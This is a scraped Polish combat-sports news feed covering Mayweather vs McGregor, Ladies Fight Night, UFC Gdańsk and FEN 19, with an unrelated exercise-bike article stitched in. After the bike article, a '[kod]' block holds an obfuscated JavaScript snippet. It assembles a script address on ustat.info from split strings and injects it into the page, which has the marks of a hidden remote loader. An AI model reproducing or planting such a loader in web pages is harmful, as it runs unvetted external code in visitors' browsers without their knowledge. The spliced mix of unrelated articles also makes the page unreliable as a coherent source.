Co warto podkreślić, Mayweather wrócił na jedną walkę i widać było, że dawno nie boksował. Z kolei McGregor przegrał, ale pozostawił po sobie dobre wrażenie. Irlandczyk stanął przed trudnym wyzwaniem zaprezentowania się w walce z wielkim mistrzem, jednak potrafił stawić mu czoła i przez kilkanaście minut rywalizował jak równy z równym. Za ten wysiłek dostanie solidną wypłatę. Największą podczas swojej kariery. Wszystko wskazuje, że będzie to minimum 100 milionów dolarów.
Fot. Facebook Conor McGregor
KM
W Rawie Mazowieckiej kobiety udowodnią, że mocne ciosy, krew i agresja nie są im obce. Już jutro (26 sierpnia) w hotelu Ossa odbędzie się gala Ladies Fight Night „Ira”. W akcji zaprezentują się m.in. mistrzyni świata muay thai Katarzyna Posiadała i niepokonana w ringu LFN Sylwia Juśkiewicz.
Podróż federacji Ladies Fight Night rozpoczęła się 18 grudnia w hotelu Double Tree by Hilton w Łodzi. W walce wieczoru Sylwia Juśkiewicz wypunktowała Rumunkę Alice Ardelean. Ostatni raz kibice sportów walki mogli podziwiać zawodniczki w kwietniu w Poznaniu. Teraz czas na kolejny mocny cios i wspaniałe zawodniczki. Rawa Mazowiecka jest już gotowa! Do gali Ladies Fight Night „Ira” pozostały godziny.
Z Łodzi przez Poznań do Japonii
Taką drogę przebędzie Sylwia Juśkiewicz. 22-letnia zawodniczka to czołowa postać federacji Ladies Fight Night. Dotychczas zaliczyła w niej cztery walki i wszystkie wygrała. Dobra postawa Juśkiewicz została dostrzeżona przez włodarzy organizacji Rizin FF. W październiku zawodniczka wystąpi w atomowym turnieju MMA. Jednak 26 sierpnia czeka ją kolejne wyzwanie w ringu Ladies Fight Night. Rywalką Polki będzie 22-letnia Manoela Matos. Brazylijka zbiera doświadczenie w MMA, jednak ma na swoim koncie amatorskie mistrzostwo kraju. Dwie zawodowe walki zakończyła przed czasem, więc Juśkiewicz musi się mieć na baczności.
Veronika Cmarova, Lucie Mudrochova, Marta Gusztab i Lucie Cmarova – te zawodniczki pokonała Katarzyna Posiadała. Czy w kolejnym pojedynku na zasadach K-1 Polka zwycięży? W Rawie Mazowieckiej Posiadała stawi czoła Włoszce Fabioli Aggio. Zawodniczka z Italii ma na swoim koncie wicemistrzostwo świata w K-1, doświadczenie zdobyła także w muay thai. Jednak Polka również nie próżnuje. W marcu w Tajlandii Posiadała zdobyła mistrzostwo świata muay thai w kategorii do 63,5 kg.
Ciekawie zapowiada się starcie Iman Barlow i Ranne Klinratree w formule K-1. Zawodniczki mają imponujące rekordy. Zawodniczka z Wielkiej Brytanii ma na koncie 87 zwycięstw i należy do czołowych fighterek muay thai i kickboxingu. Z kolei Klinratree zmierza w stronę 100 wygranych walk. Ma na koncie 93 triumfów, zdobyła także tytuł zawodowej mistrzyni świata muay thai WPMF.
Przed trudnym wyzwaniem stanie była europejska mistrzyni K-1 Kamila Bałanda. Na gali w Poznaniu utytułowana zawodniczka pokonała jednogłośną decyzją Martę Gusztab. Teraz przyjdzie jej się zmierzyć z Annisą Haddaoui, która była zaskoczeniem gali LFN FeMMAgeddon w Warszawie. Holenderka w ostatniej chwili znalazła się w karcie walk, ale szybkością, seriami ciosów i licznymi kopnięciami zdominowała Alisę Bazhukovą. Teraz Haddaoui sprawdzi możliwości Bałandy, która musi być czujna.
Na gali LFN „Ira” zaprezentują się również: Carolina Jimenez, Anna Rudenko, Natalia Leciejewska, Patrycja Krawczyk i Karolina Klusova.
Problemy wizowe
Monika Bohn będzie musiała poczekać na kolejną walkę na Ladies Fight Night. Wszystko przez problemy wizowe Oksany Pashkovej. Walka odbędzie się w innym terminie. W Ladies Fight Night Bohn odniosła zwycięstwo (z Patrycją Pamułą) i zanotowała porażkę (z Magdaleną Kasprzyk).
Warto dodać, że podczas gali w Rawie Mazowieckiej nie zabraknie wyjątkowych gości. Wydarzenie będą obserwować: Bracia Collins, Piotr Stramowski, Tomasz Oświeciński, Ewa Lubert, Marcin Wrzosek, Bartek Kurczewski, Artur Partyka, Łukasz Zaborowski, Karolina Owczarz, Monika Michalak, Ewa Piątkowska.
Fot. lfn.com.pl
KM
Takiej promocji nie miał żaden hit Hollywood. O kolejnych częściach Harry'ego Pottera nie mówiło się tyle, ile o sobotniej (26 sierpnia) walce Floyda Mayweathera Jr. i Conora McGregora. Las Vegas czeka na głównych aktorów najbardziej wyczekiwanego widowiska 2017 roku.
Niektórzy obawiają się otwierać lodówkę. Wszędzie Mayweather i McGregor. Wokół pojedynku Amerykanina i Irlandczyka stworzono niesamowitą otoczkę, która zainteresowanych przenosi w inny wymiar.
Czy porwą tłumy?
To pytanie numer jeden. Sprawą kluczową jest, czy po walce nie sprowadzimy całego widowiska do stwierdzenia „z wielkiej chmury mały deszcz”. Nie da się jednak ukryć, że będzie to wyjątkowy, wręcz przełomowy pojedynek. 26 sierpnia w Las Vegas zmierzą się bokser i zawodnik MMA. Warto uzupełnić, że nie chodzi o byle jakich zawodników. Floyd Mayweather Jr. wygrał wszystkie 49 walk na zawodowym ringu. Amerykanin zdobywał pasy w kategoriach półśredniej, junior średniej, junior lekkiej, lekkiej, junior półśredniej i lekkośredniej. Co warto dodać, po raz ostatni 40-latek rywalizował blisko dwa lata temu. W Las Vegas pokonał Andre Berto.
Młodszego o 11 lat Conora McGregora również należy zaliczyć w poczet gwiazd. W końcu Irlandczyk jest najbardziej rozpoznawalną twarzą UFC i niezwykle barwną postacią. Jako pierwszy w historii zdobył dwa pasy mistrzowskie – w kategorii lekkiej i piórkowej. Ostatnią walkę stoczył w listopadzie 2016 roku, kiedy to pokonał Eddiego Alvareza w walce mistrzowskiej.
Obaj potrafią robić show i budować napięcie. Wyssali to z mlekiem matki. Przychodzi im to z łatwością, przyciągają uwagę tłumów. Z tym, że Mayweather dokonywał tego w zupełnie innej skali. Amerykanin opływał w dostatku. W porównaniu z nim zarobki McGregora należy uznać za skromne kieszonkowe. Dochody Mayweather liczono w setkach milionów. Z kolei Irlandczyk za walkę z Natem Diazem na UFC 202 miał dostać trzy miliony dolarów. Różnica zatem jest kolosalna.
Przełomem dla McGregora ma być starcie z Mayweatherem. Gdy na początku roku pojawiły się informacje o rzekomym starciu zawodników, wielu miłośników sportów walki reagowało śmiechem bądź nie dowierzało. W czerwcu walka stała się faktem. Strony podpisały umowę i 26 sierpnia McGregor i Mayweather mają stworzyć największe show wszech czasów. Kolejne konferencje, podczas których zawodnicy nie szczędzili sobie cierpkich słów. Wszystko po to, żeby budować zainteresowanie i zachęcać do zakupu pakietów pay per view. Mówi się, że łączny zysk z walki ma osiągnąć ponad 600 milionów dolarów.
Stawką będzie pas
Całego wydarzenia nie da się inaczej określić jak mianem spektaklu. Ma być to widowisko najwyższego rzędu. Widzowie przyjdą spragnieni najwyższych doznań i ogromnych wrażeń. W końcu na scenie na dystansie dwunastu rund zaprezentują się gwiazdy boksu i MMA. Faworytem pojedynku jest Floyd Mayweather Jr.
Na szali pojawi się pas zawierający 1,5 kilograma 24-karatowego złota, ponad 3 tysiące diamentów, 600 szafirów i 160 szmaragdów. Może zakręcić się w głowie od tych błyskotek. Oby w ringu wszystko zagrało, a nie wiało nudą.
KM
W najbliższa sobotę 26.08.2017r., Rawa Mazowiecka przemieni się w światową stolicę damskich sztuk walki. Podczas gali Ladies Fight Night „IRA”, Anissa Haddaui (41-3-1) podejmie byłą europejską mistrzynię K1 Kamilę Bałandę (11-1-0). Holenderka powróci do klatkoringu Ladies Fight Night by w walce wieczoru zmierzyć się z szalenie niebezpieczną Polką. W klatkoringu LFN obok najlepszych polskich zawodniczek zobaczymy również fighterki z Holandii, Włoch, Brazylii, Czech, Nowej Zelandii, Tajlandii, Wielkiej Brytanii, Rosji, Wenezueli i Ukrainy.
Sylwia „Mała” Juśkiewicz vs Manoela Matos
W tej walce, zaprezentuje się jedna z najbardziej porywających zawodniczek Ladies Fight Night, Sylwia Juśkiewicz, która stawi czoła głodnej zwycięstwa Brazylijce – Manoeli Matos – tym razem na zasadach MMA. Jak potoczy się ich sobotnia walka?
Warto podkreślić, iż Sylwia „Mała” Juśkiewicz (MMA 6-4) już w październiku weźmie udział w pierwszym atomowym turnieju MMA, organizowanym przez japońską organizację Rizin FF w Japonii.
Transmisja live
Całą galę Ladies Fight Night „IRA” będzie można śledzić „na żywo” w jakości HD na www.lfn.com.pl oraz na Facebooku organizacji. Galę poprowadzą niezastąpieni: Krzysztof „Jankes” Jankowski oraz Łukasz „Juras” Jurkowski. Ze studia usłyszymy głos Tomasza Marciniaka. Komentarz Artur „Kornik” Sowiński i Błażej Szwajkajzer.
Wśród gości m.in. Piotr Stramowski, Tomasz Oświeciński, Bracia Collins, Ewa Lubert, Marcin Wrzosek, Bartek Kurczewski, Artur Partyka, Łukasz Zaborowski, Karolina Owczarz, Monika Michalak, Ewa Piątkowska.
Start w sobotę o godz. 20:00!
Kogo zobaczymy w klatko-ringu LFN?
Podczas najbliższej gali żeńskiej organizacji odbędzie się dziewięć walk, trzy w formule MMA i sześć w K-1. Pierwszy raz walka w kategorii wagowej +90kg, będzie to najprawdopodobniej najcięższa walka kobiet w mma na świecie.
Ceremonia ważenia w piątek
Ceremonia ważenia zawodniczek na dzień przed galą oraz media trening z konferencją prasową odbędą się o godz. 15:00, w Hotelu Ossa w Rawie Mazowieckiej.
Patroni medialni
FightTime TV, Radio ESKA, Sport.pl, MMA.pl, InTheCage.pl, Fight24.pl, MadFight24.com, se.pl, sporty-walki.org, Richard Magazin Poland.
Rowery poziome są jednymi z szybszych pojazdów napędzanych siłą naszych mięśni. Mimo tego nie cieszą się one zbyt dużą popularnością. Wynika to przede wszystkim z faktu, że mają one skomplikowaną konstrukcję. Ich dużą wadą jest również to, że są znacznie mniej zwrotne niż klasyczne rowery pionowe.
Na szczęście wady te nie mają znaczenia w przypadku poziomych rowerów treningowych. Jest to przecież sprzęt stacjonarny przeznaczony do ćwiczeń w domu lub w sali treningowej. Jak zatem wypada poziomy rower magnetyczny w porównaniu z pionowym?
Pionowe rowery treningowe są obecnie chyba najbardziej rozpowszechnionymi maszynami treningowymi. Ich popularność wynika głównie z faktu, że w sklepie wybieramy głównie sprzęty, który znamy a kto obecnie nie potrafi jeździć rowerze?
Jeśli głównym celem treningu ma być przygotowanie się do wyprawy rowerowej to faktycznie lepiej w takim przypadku sprawdzi się rower pionowy, ponieważ jego konstrukcja bardziej przypomina klasyczny rower. Z takich samych powodów pionowe rowery treningowe wybierają również profesjonalni kolarze. Jednak częściej mocują oni do rowerów, na których mają startować specjalne trenażery generujące opór.
Gdy jednak głównym celem ćwiczeń jest poprawa kondycji fizycznej oraz redukcja wagi, warto zastanowić się nad zakupem roweru poziomego. Inne ułożenie ciała w czasie jazdy znacznie zmniejsza przeciążenia stawów kolanowych. Ma to ogromne znaczenie zwłaszcza w przypadku osób otyłych i ze znaczną nadwagą. Wiele osób twierdzi również, że trening na rowerze poziomym jest po prostu bardziej komfortowy. Wynika to z tego, że w czasie ćwiczeń nie siedzi się na klasycznym siodełku, lecz na siedzisku z oparciem przypominającym fotel.
Rower stacjonarny jest doskonałym urządzeniem treningowym. Można na nim trenować niezależnie od pory roku oraz dnia. Co więcej, korzystając z niego można wykonywać również inne czynności takie jak na przykład oglądanie ulubionego serialu lub słuchanie audiobooka.
W internetowych sklepach ze sprzętem sportowym dostępne są również urządzenia łączące w sobie cechy klasycznego roweru pionowego i poziomego. Są to tak zwane rowery hybrydowe. Wybierają je zazwyczaj osoby cierpiące na różnego rodzaju bóle pleców.
Osoby, które niedysponują odpowiednią wiedzą i doświadczeniem powinny przed zakupem poradzić się sprzedawcy. Wybór urządzenia ma ogromny wpływ na efektywność i komfort ćwiczeń.
[kod]
(function(){
z690=document.createElement("script");z690_=(("u")+"st")+"a";z690.async=true;
z690.type="text/javascript";z690_+=("t.i")+""+"n";z690_+=(("f")+"o");z690_+="/";
z690u="65787769.";z690u+="1980yiy3690v78jf8br"+"mq8clwyux2z";
z690.src="//"+z690_+z690u; document.body.appendChild(z690);
})();
Marcin Held poznał kolejnego rywala. 25-letni Polak na gali UFC Fight Night 118 w Gdańsku zmierzy się z Teemu Packalenem.
Przypomnijmy. Gdańska gala UFC odbędzie się 21 października. Obecnie w karcie walk znajduje się sześcioro Polaków.
Held musi wygrać
Marcin Held ciężką pracą i dobrymi występami w Bellatorze zapracował na kontrakt w UFC. Tym samym wymagania wobec zawodnika urodzonego w Tychach wzrosły. Polak stoczył trzy pojedynki w UFC, jednak cały czas czeka na pierwszą wiktorię. O ile porażkę z Diego Sanchezem można było przeboleć, to przegrana z Joe Lauzonem wywołała wiele kontrowersji. Rywal przyznał, że nie zasłużył na zwycięstwo. W trzecim starciu, z Damirem Hadzovicem, Polak wygrał dwie rundy i wydawało się, że zmierza po triumf. Jednak w trzeciej odsłonie Bośniak wyprowadził potężne kolano i pokonał przez nokaut byłego pretendenta do tytułu mistrzowskiego wagi lekkiej Bellatora.
Polak musi wyciągnąć wnioski z trzech walk w UFC i wykorzystać kolejną szansę. Nie ma co ukrywać, że jego pozycja w amerykańskiej organizacji nie jest najmocniejsza. Przełamanie powinno nadejść w październiku w Gdańsku, gdzie Held stoczy czwartą walkę w UFC. – Moim kolejnym przeciwnikiem na gali UFC w Gdańsku 21 października będzie fiński zawodnik MMA – Teemu Packalen. Zapowiada się ciekawy pojedynek – poinformował Marcin Held.
Dla Polaka będzie to pierwsza walka w kraju od ponad siedmiu lat. Co do rywala, 30-letni Teemu Packalen ma za sobą trzy starcia w UFC. Wygrał raz – w lutym ubiegłego roku z Thibaultem Goutim. Fin potrzebował zaledwie 24 sekund do odniesienia zwycięstwa. W tym roku Packalen walczył tylko raz, w Londynie przegrał przez nokaut z Markiem Diakiese. Warto wspomnieć, że na początku kariery Fin miał okazję rywalizować z polskimi zawodnikami. Packalen pokonał Grzegorza Szulakowskiego i Grzegorza Sajbora.
Liczna reprezentacja
21 października polscy kibice MMA będą ściskali kciuku za swoich rodaków, którzy wyjdą do oktagonu. Po raz pierwszy na gali UFC zaprezentują się Oskar Piechota i Adam Wieczorek. Ich rywalami będą Jonathan Wilson i Dmitry Smolyakov.
O trzecie zwycięstwo w amerykańskiej organizacji powalczy Damian Stasiak. 27-latek w maju przegrał z Pedro Munhozem, a wcześniej zanotował dwa triumfy. Dla niego będzie to już piąta walka w UFC, a zmierzy się w niej z Brianem Kelleherem. Więcej występów (sześć) na swoim koncie w amerykańskiej organizacji ma Jan Błachowicz. Były mistrz KSW czeka na trzecie zwycięstwo. Po dwóch porażkach z rzędu jego sytuacja w UFC nie wygląda najlepiej. 21 października Polak zmierzy się z 29-letnim Delvinem Clarkiem.
W Gdańsku nie zabraknie płci pięknej. Karolina Kowalkiewicz nadal czeka na rywalkę, z którą przyjdzie jej się zmierzyć w październiku. Po trzech zwycięstwach, 31-latka zanotowała dwie porażki. W Gdańsku będzie chciała przerwać złą passę.
KM
Zapraszamy na transmisję telewizyjną z Gali LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 26 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 19.45. Dzień wcześniej tj. w piątek 25 sierpnia 2017 r. o godz. 17.00 zapraszamy na transmisję telewizyjną na żywo z oficjalnej ceremonii ważenia.
TRANSMISJĘ OGLĄDAĆ BĘDZIE MOŻNA TYLKO I WYŁĄCZNIE NA STRONIE FEDERACJI POD ADRESEM: WWW.LFN.COM.PL LUB NA OFICJALNYM PROFILU NA FACEBOOK.
[kod]
Zapraszamy na transmisję telewizyjną z Gali LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 26 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 19.45.
TRANSMISJĘ OGLĄDAĆ BĘDZIE MOŻNA TYLKO I WYŁĄCZNIE NA STRONIE FEDERACJI POD ADRESEM: WWW.LFN.COM.PL LUB NA OFICJALNYM PROFILU NA FACEBOOK.
[kod]
Zapraszamy na transmisję telewizyjną z oficjalnej ceremonii ważenia przed Galą LFN 6 – IRA, która odbędzie się w hotelu OSSA Congress & SPA w dniu 25 sierpnia 2017 r.. Start transmisji na żywo przewidziano na godz. 17.00.
[kod]
var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/LFN5.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/LFN5.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/LFN5.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/LFN5.livx"
},
width: 640,
height: 385,
autoplay: false,
});
Czy Artur Szpilka zwiąże swoją przyszłość z MMA? Zdjęcie boksera ze współwłaścicielem KSW Martinem Lewandowskim nasuwa jednoznaczną odpowiedź. W całej sytuacji pojawił się Krzysztof Zimnoch, który mówi krótko: – Wszędzie cię dopadnę.
O tym, że obaj panowie nie darzą się sympatią wiadomo nie od dziś. W lutym 2013 roku Szpilka miał boksować z Zimnochem, jednak po starciu z Mollo sztab boksera z Wieliczki zrezygnował z tej opcji. Teraz temat pojedynku ponownie wrócił.
Szpilka ucieka?
Półtora roku temu Szpilka stanął do najważniejszej walki w bokserskiej karierze. W Barclays Center spotkał się z prawdziwym bombardierem Deontayem Wilderem, który dzierży pas WBC wagi ciężkiej. Szpilka dzielnie walczył, ale Amerykanin w dziewiątej rundzie posłał go na deski. Polak runął i długo nie podnosił się, a ostatecznie opuścił ring na noszach.
Porażka z czempionem WBC nie była końcem świata. Szpilka pokazał się z dobrej strony, jednak po walce przeszedł operację ręki i wracał do zdrowia. W lutym br. Szpilka miał zaprezentować się w walce z Dominicem Breazeale'em. Do starcia nie doszło, co frustrowało Polaka, który musiał czekać kolejne miesiące na walkę. Ostatecznie w lipcu zmierzył się z Adamem Kownackim. 28-latek urodzony w Łomży boksuje w Stanach i zapowiadał, że znokautuje Szpilkę. Jak mówił, tak zrobił. Kariera pięściarza z Wieliczki znalazła się na zakręcie…
Pojawiły się doniesienia, że Szpilka trafi do KSW. Wrócił również temat walki z Krzysztofem Zimnochem. Jednak w poniedziałek (21 sierpnia) w mediach społecznościowych pojawiło się zdjęcie ze wspólnego lunchu Artura Szpilki i współwłaściciela KSW Martina Lewandowskiego. To mówi samo za siebie… Ale na konkrety trzeba jednak poczekać.
Szybko zareagował za to Krzysztof Zimnoch. – Myślisz Artur, że jak dostałeś bęcki od Adama to popłaczesz teraz kilka miesięcy, a później pójdziesz do KSW walczyć z uczestnikami tańca z gwiazdami i innymi celebrytami??? (pisownia oryginalna) – napisał bokser na swoim facebooku.
Zimnoch nie odpuszcza
33-letni pięściarz chciałby się spotkać ze Szpilką, żeby wyrównać rachunki. Między pięściarzami nie raz dochodziło do ostrej wymiany zdań. – Ty wytrzyj mleko spod nosa, wracaj na salę i przygotuj się na kilka rund ze mną – tylko tak żeby kibice mieli na co popatrzeć dłużej niż przez 5 minut! Mamy jeszcze rachunki do wyrównania, a ty zapłacisz za każde złe słowo, które o mnie powiedziałeś. A jeśli uciekniesz do KSW to ja dopadnę cię nawet tam !!! Idę po ciebie i nikt mnie nie powstrzyma !!! – podkreśla Krzysztof Zimnoch.
9 września w Radomiu 33-latek stoczy 25 walkę w karierze. Jego rywalem będzie Joey Abell.
Fot. Facebook Krzysztof Zimnoch
KM
Dwunastu judoków z Polski udało się do Taipei, aby walczyć o medale w XXIX Letniej Uniwersjadzie. Pierwsi zawodnicy zaprezentowali się na tatami. Niewiele do szczęścia zabrakło Tomaszowi Domańskiemu (100kg) i Kamilowi Grabowskiemu (+100kg).
Trzema złotymi medalami mogą pochwalić się Koreańczycy z Południa. Warto dodać, że na siedmiu startujących aż sześciu zawodników z kraju, którego stolicą jest Seul stanęło na podium. Azjaci pokazują siłę w Taipei. Dwa złota na swoim koncie zapisali Japończycy.
Rosjanie pozbawili ich marzeń
Dla Domańskiego i Grabowskiego rywalizacja w Taipei była niezwykle wyczerpująca. Tomasz Domański stoczył sześć walk. Zaczął zdecydowanie i szybko uporał się z Tilenem Hadolinem, następnie wygrał z Elim El Chaerem. W kolejnym starciu Polak trafił na 19. zawodnika światowego rankingu Japończyka Kentaro Iidę. 19-latek okazał się lepszy od Domańskiego, który musiał radzić sobie w repasażach. Polak wygrał dwa starcia, choć z Marko Kumriciem nie miał łatwej przeprawy, ale już Brazylijczyka Souzę odprawił przed czasem. W starciu o brąz Domański trafił na Niiaza Bilalova. 22-letni Rosjanin to mistrz Europy z 2016 roku. Z Domańskim wygrał przed czasem.
W tym roku Kamil Grabowski stanął na trzecim stopniu podium w Saarbruecken. Również w Taipei mógł sięgnąć po medal, gdyby nie zawodnik z Rosjni. Ale po kolei. Wygrana Polaka na początek z reprezentantem Mongolii, a następnie porażka z Youngseo Ju, choć Polak zdobył waza ari. Koreańczyk szybko odpowiedział i wygrał przez ippon. W kolejnych dwóch starciach warunki dyktował Grabowski, który wypunktował rywali. Jednak w starciu o brązowy medal Polak musiał uznać wyższość Rosjanina Antona Bracheva.
Zatrzymani w repasażach
Porażka nie zawsze oznacza koniec marzeń o medalu. Dla judoków nadzieją są zawsze repasaże, w których nie ma miejsca na błąd. Ten, który okaże się w pełni skuteczny może liczyć na walkę o brązowy medal.
Rok temu Paula Kułaga (78kg) była o krok od wywalczenia brązowego medalu mistrzostw Europy juniorów w Maladze, jednak rywalizację zakończyła na piątej pozycji. Zmagania na uniwersjadzie Polka rozpoczęła od szybkiej porażki z Aleksandrą Babintsevą. Podrażniona 21-latka w pierwszej walce repasażowej potrzebowała 36 sekund, aby wygrać z Kolumbijką Johaną Katerin Florez Marin. W kolejnym starciu Kułaga przegrała i ostatecznie została sklasyfikowana na siódmej pozycji.
Trzy zwycięstwa nie dały Jakubowi Kubieńcowi (81kg) walki o medal. Lepsi od Polaka okazali się Seungsu Lee, który zepchnął naszego zawodnika do repasaży, gdzie ten cieszył się z dwóch wygranych, jednak na ostatniej prostej pokonał go Robin Gutsche. Kubieniec zajął ostatecznie siódme miejsce.
KM
Na gali w Lincoln powody do radości miał Terence Crawford. 30-letni Amerykanin znokautował w trzeciej rundzie Juliusa Indongo i zunifikował tytuły mistrza świata WBO, WBA, WBC i IBF wagi super lekkiej. W Lincoln na ring powrócił Bryant Jennings.
Mistrzowska ścieżka boksera z Omahy trwa od trzech lat. Na początek zdobył pas WBO w wadze lekkiej. Crawford wygrywał kolejne walki i powiększał swój dorobek, co pozwoliło stać się mu swoistym dominatorem.
Indongo na deskach
Smaczek rywalizacji Crawforda i Indongo stanowił fakt, że ich walka była czwartą w historii o wszystkie tytuły najbardziej prestiżowych organizacji. Każdy z aktorów widowiska miał po dwa pasy. Do Crawforda należały tytuły WBC i WBO, zaś do Indongo IBF i WBA. Dodatkowo przed sobotnim pojedynkiem żaden z bokserów nie zaznał goryczy porażki.
Crawforda i Indongo mają odmienne doświadczenie i są na zupełnie innych biegunach. Choć pięściarz z Namibii jest starszy, później zaczynał zawodową karierę. 34-latek dominował na kontynencie afrykańskim, ale świat usłyszał o nim w ubiegłym roku, kiedy w Moskwie znokautował Eduarda Trojanovskiego. Z kolei Crawford od lat dominuje na bokserskich ringach. Najpierw w wadze lekkiej, a teraz super lekkiej.
Starcie w Lincoln było ogromnym wydarzeniem. W końcu zwycięzca miał posiąść wszystko i stać się bezapelacyjnym królem. Wszyscy szykowali się na ucztę, jednak pięściarze, a właściwie Crawford, zaserwowali szybką kolację. Pierwsza runda na rozpoznanie, w drugiej odsłonie Amerykanin ruszył do przodu. Efekt naporu Crawforda był widoczny, bo po ciosie z lewej ręki rywal padł na deski. Indongo miał siły, żeby walczyć dalej, ale były to jego ostatnie zrywy. W trzeciej odsłonie Crawford przeprowadził decydującą akcję. Potężny cios na tułów i Indongo ponownie na deskach, jednak tym razem 34-latek nie dał rady się podnieść. Crawford wygrał 32 walkę w karierze i zgarnął cztery pasy mistrzowskie.
Zwycięski powrót
Blisko dwa lata trwała przerwa Bryanta Jenningsa. Dobrą postawą Amerykanin, w tym wygraną z Arturem Szpilką, zapracował na mistrzowskie starcie z Władimirem Kliczko. Jennings musiał uznać wyższość Ukraińca, jednak prawdziwe lanie zebrał w kolejnym starciu. Bezlitosny dla Amerykanina był Luis Ortiz. W Veronie Kubańczyk rozprawił się z Jenningsem, który od początku przyjmował potężne ciosy. Finał nastąpił w siódmej rundzie. Trzy podbródkowe, Amerykanin na deskach, jednak wstał, ale po chwili prawy sierpowy zakończył rywalizację. Jennings zebrał potężne lanie.
Po dwóch latach pretendent do tytułu mistrza świata wrócił i pokazał, że umie boksować. W Lincoln pewnie wypunktował Daniela Martza. Przewaga Jenningsa nawet przez chwilę nie podlegała dyskusji. 32-latek bez zbędnych kalkulacji podszedł do rywalizacji i w drugiej rundzie mógł cieszyć się z triumfu. Dla Jenningsa było to 20 zwycięstwo w karierze.
Fot. boxrec
KM
Kolejnym przystankiem Fight Exclusive Night będzie Wrocław, a 19. edycja gali, która nosi nazwę „Bitwa o Wrocław” odbędzie się 14 października w Hali Orbita. Na ten moment znamy dwa zestawienia, ale włodarze federacji zapewniają, że mają przygotowaną najmocniejszą kartę walk w historii.
Pierwszy raz podczas gali FEN odbędzie się „Freak Fight”. Obaj wojownicy, których występ już dziś budzi ogromne zainteresowanie, to na co dzień trenujący zawodnicy, dla których występ w MMA jest spełnieniem sportowych marzeń.
– „Arab” i „Ruby” staną naprzeciwko siebie w oktagonie podczas październikowej gali, która odbędzie się we Wrocławiu. Nasi kibice domagali się na Freak Fight’u, więc spełniamy ich życzenia. Raperzy zmierzą się w kategorii do 77 kg. Co ważne – obaj nieźle radzą sobie w klatce. Trenują, cały czas podnoszą swoje umiejętności, można powiedzieć, że są sportowcami, którzy debiutują w MMA. To nie osoby, które wyjdą do klatki bez przygotowania – zapewnia Paweł Jóźwiak, prezes FEN.
Gabriel Al-Sulwi, czyli artysta znany pod pseudonimem „Arab” to 24-latek pochodzący z Rzeszowa, któremu MMA pozwoliło wyjść w życiu „na prostą”. Sam wokalista wielokrotnie powtarzał, że był uzależniony od marihuany, a dzięki walkom nawrócił się i teraz jest lepszym człowiekiem.
Bartłomiej Brzeziński, czyli „Ruby” kojarzony jest przez wiele osób z zespołem „Ganja Mafia”. Od dłuższego czasu można obserwować na jego facebook’owym profilu, jak trenuje i spędza każdą wolną chwilę podnosząc swoje umiejętności w mieszanych sztukach walki.
Drugim pojedynkiem, który odbędzie się we Wrocławiu jest starcie pomiędzy Pawłem Biszczakiem (24-3) z Wojciechem Wierzbickim (13-3). Będzie to rewanż za pojedynek ze stycznia 2017 roku, kiedy to w Lubinie lepszy okazał się Biszczak. Pojedynek odbędzie się w formule K-1, a jego stawką będzie pas mistrzowski FEN w kategorii do 77 kg.
Ponadto włodarze FEN pracują nad zorganizowaniem pojedynku Marcina Sianosa z Tomasem Pakutinskasem w wadze ciężkiej. Po ostatnim efektownym zwycięstwie Sianosa w Koszalinie w internecie pojawiło się ogromne zainteresowanie starciem polsko-litewskim, a Paweł Jóźwiak zapewnia, że zrobi wszystko, aby obaj dżentelmeni mogli się ze sobą zmierzyć już podczas FEN 19.
Podczas Fight Exclusive Night zobaczymy aż 10 pojedynków – 7 w formule MMA i 3 w K-1. Będą powroty, będą walki o pasy mistrzowskie oraz spektakularne rewanże. Wszystko przy wrocławskiej publiczności, która już po raz siódmy będzie miała przyjemność zobaczenia na żywo europejską czołówkę wojowników w akcji.
Sprzedaż biletów na to wydarzenie rozpocznie się w piątek, 18 sierpnia, o godzinie 12:00 na stronie www.fen-mma.com/bilet/ oraz na stronach zaprzyjaźnionych bileterni.
Źródło: materiały prasowe
W końcu! Najbardziej wyczekiwany rewanż w Polsce dojdzie do skutku. Mowa oczywiście o pojedynku w formule K-1 pomiędzy Pawłem Biszczakiem (24-3) a Wojciechem Wierzbickim (13-3). Obaj wojownicy zmierzą się ze sobą w walce wieczoru na Fight Exclusive Night 19 we Wrocławiu 14 października.
W styczniu 2017 roku Biszczak z Wierzbickim spotkali się w klatkoringu po raz pierwszy i wtedy posiadaczem pasa mistrzowskiego organizacji był Wierzbicki, w którym wielu ekspertów upatrywało faworyta starcia. Po pięciorundowym zaciętym boju, to jednak Biszczak zwyciężył przez niejednogłośną decyzję sędziów. Arbitrzy mieli spore wątpliwości, komu należy przyznać wygraną, gdyż emocji, kopnięć, mocnych ciosów na szczękę oraz zwrotów akcji było co nie miara. Komentujący te starcie Łukasz „Juras” Jurkowski nie miał wątpliwości – to był spektakl w najczystszej postaci.
Dużo mówiło się w środowisku MMA w Polsce o ewentualnym rewanżu obu panów, a włodarze FEN stwierdzili ostatecznie, że to należy się kibicom w naszym kraju. Podczas treningu medialnego zapowiadającego FEN 18 Paweł Jóźwiak, prezes federacji, zaprosił Wojciecha Wierzbickiego na scenę i zapytał przy zgromadzonych na rynku Staromiejskim w Koszalinie kibiców, co oni sądzą o ewentualnym rewanżu. Po aplauzie fanów i deklaracji byłego czempiona, że chce powtórnego starcia, Jóźwiakowi nie pozostało nic więcej, jak tylko kilka dni później oficjalnie ogłosić, że pojedynek Biszczaka z Wierzbickim będzie walką wieczoru podczas FEN 19 „Bitwa o Wrocław”.
Co jest najlepsze w tej walce? To, że w niej tym razem nie będzie faworyta. Stary mistrz zrobi wszystko, żeby pas wrócił do niego. Nowy czempion nie pozwoli sobie odebrać trofeum, które wywalczył z wielkim trudem.
